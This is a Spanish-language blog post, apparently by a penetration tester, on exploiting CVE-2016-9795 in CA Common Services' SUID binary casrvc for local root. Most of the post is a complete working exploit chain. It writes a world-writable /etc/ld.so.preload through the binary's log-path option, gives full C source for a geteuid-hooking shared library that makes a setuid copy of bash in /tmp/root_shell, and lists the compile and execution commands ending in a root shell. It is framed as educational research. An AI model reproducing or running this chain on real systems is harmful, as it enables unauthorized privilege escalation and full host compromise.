
Escalada de privilegios CVE-2016-9795 revisitada (binario casrvc de la suite CA Common Services)
En uno de mis pentests, me topé con el binario SUID casrvc (que forma parte de la suite CA Common Services). Como descubrí, el binario es vulnerable a escalada local de privilegios. De hecho, un CVE público (CVE-2016-9795) ya fue atribuido a esta vulnerabilidad por el grupo NCC.
La vulnerabilidad es realmente trivial y, como descubrí más tarde, el grupo NCC publicó una prueba de concepto en su advisory en PDF (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). No obstante, durante mi engagement de pentest elegí una vía de explotación diferente que, para empezar, es una alternativa viable y posiblemente menos arriesgada si se realiza correctamente.
La vulnerabilidad reside en el binario SUID casrvc, que expone una funcionalidad que permite al usuario elegir el nombre de archivo (y la ruta absoluta) en el que se escribirán los registros de log. Parte de este archivo de log está controlada por el usuario, por lo que, al final, esto le otorga al usuario no privilegiado una escritura arbitraria más o menos controlada.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
El PoC ya existente simplemente concatena la salida del log al archivo /etc/passwd para añadir otra entrada de usuario en el grupo root. Concatenar contenido a /etc/passwd a veces puede ser un asunto arriesgado y, en mi caso, quería evitar a toda costa provocar un fallo del servidor.
La técnica de explotación no es nueva y ya fue tratada por muchos otros investigadores (incluidos @dawid_golunski, @itm4n). Se aplica a este binario y la expongo aquí con fines educativos.
Consiste en añadir o crear el archivo /etc/ld.so.preload. Este archivo, tal como se describe en el manual de Linux man ld.so, permite definir una lista de nombres de bibliotecas (una por línea) que se cargarán cada vez que se ejecute un binario.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
La particularidad de este archivo es que las bibliotecas precargadas se cargan para TODOS los programas ejecutados en el sistema, incluidos los programas SUID. Esto no ocurre, por supuesto, con la variable de entorno "LD_PRELOAD", que cualquier usuario puede configurar para precargar bibliotecas en el contexto de su sesión.
Para controlar por completo el contenido del archivo creado, usamos el comando umask para establecer la máscara de creación de archivos. De este modo, cuando se crea el archivo de log, tendrá permisos de lectura y escritura para todos.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
Intentamos borrar el contenido del archivo rápidamente, ya que después de ejecutar el binario casrvc el contenido no contiene ninguna biblioteca .so válida y generará mensajes de error cada vez que se inicie un programa en el equipo.
En nuestro caso, el truco con umask funciona. Sin embargo, a veces los ejecutables establecen su propio valor de umask, en cuyo caso nuestro valor de umask se sobrescribe y se ignora.
A continuación creamos un archivo .so. El siguiente es el código fuente de este archivo .so. Hace tres cosas:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Para compilarlo simplemente
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
En los comandos anteriores asumimos que la partición /tmp no está montada con las propiedades NOEXEC ni NOSUID.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)